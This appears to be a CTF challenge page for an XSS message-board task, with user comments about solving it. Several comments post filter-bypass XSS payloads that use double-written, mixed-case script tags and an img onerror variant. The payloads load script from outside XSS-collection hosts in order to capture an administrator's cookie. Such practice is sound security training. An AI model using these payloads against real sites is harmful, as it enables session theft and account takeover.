留言板1WEB 未解决

分数: 20 金币: 3
题目作者: harry
一　　血: 18256197318
一血奖励: 5金币
解　　决: 227
提　　示: 需要xss平台接收flag
描　　述:
flag{}
...
登录回复
评论
嵌入式学的CTF 3年前
举报

感觉有问题，回显不出来

回复 0
陆~ 3年前
举报

?是不是改题了,xss.pt,各种代码试了但获取不了返回值了.

回复 0
sshui 3年前
举报

<sCRsCRiPtiPt/sRC=//0x.ax/q1dr></sCsCRiPtrIpT> 终于返回了，不知道bugku这到底是怎么回事。

回复 1
sshui 3年前
举报

@RoyYa 环境有问题

回复 0
RoyYa 3年前
举报

还是没返回数据。。。求教

回复 0
sshui 3年前
举报

为什么会接不到任何数据啊！

回复 0
sshui 3年前
举报

见鬼，我们做的是同一道题吗？怎么按着wp来的，还是弄不出来？？？？

回复 0
小蔡 3年前
举报

终于解出来了，已经写了WP 等待审核通过！

回复 0
17695688750 3年前
举报

去xsspt吧xss代码复制到留言板，留言板设置了（）和script过滤，想办法绕过

回复 0
zzzlu 2年前
举报

这个xsspt要钱，好坑的平台

回复 0
sshui 3年前
举报

大哥，能给一下payload吗？

回复 2
18256197318 3年前
举报

双写+大小写绕过

回复 0
chaojiikun 1年前
举报

@harry 哥你出的什么题坑死我了

回复 0
jojojoker 3年前
举报

@harry 需要登录到后台才能拿到管理员的cookie吧，不然拿我自己的cookie?

回复 0
sshui 3年前
举报

@harry 大哥写个wp吧（/(ㄒoㄒ)/~~）

回复 0
harry 管理员 3年前
举报

@追风亚索 这是xss题不需要登录后台

回复 0
追风亚索 3年前
举报

要写脚本才能知道密码吗

回复 0
追风亚索 3年前
举报

密码是什么登不进管理员账号

回复 0
Striker123456 3年前
举报

咋打不出cookiehello[img]123[img]onerror=<sCRScRiPTiPt/SrC=//xss.yt/j5Ys>[img][/img]

回复 0
Striker123456 3年前
举报

这道题，我是不是做过？

回复 0

WriteUp

image
小蔡

5 金币

立即查看

评分(3)

解题动态

18394165790 攻破了该题 3天前
1781****263 攻破了该题 3天前
炖蛋 攻破了该题 15天前
billy856 攻破了该题 17天前
fi1y 攻破了该题 22天前
店晓贰 攻破了该题 1月前
掘金 攻破了该题 1月前
Junze 攻破了该题 1月前
CTF-大王 攻破了该题 1月前
ws123 攻破了该题 1月前
ccxxxc 攻破了该题 2月前
暗流安全 攻破了该题 2月前
ailiyishen 攻破了该题 2月前
Galaxies2580 攻破了该题 2月前
Owen_10 攻破了该题 2月前
edadsadw 攻破了该题 3月前
小白RM 攻破了该题 3月前
wdfctf 攻破了该题 3月前
2523822945 攻破了该题 3月前
OoyWyeOee 攻破了该题 3月前
问题反馈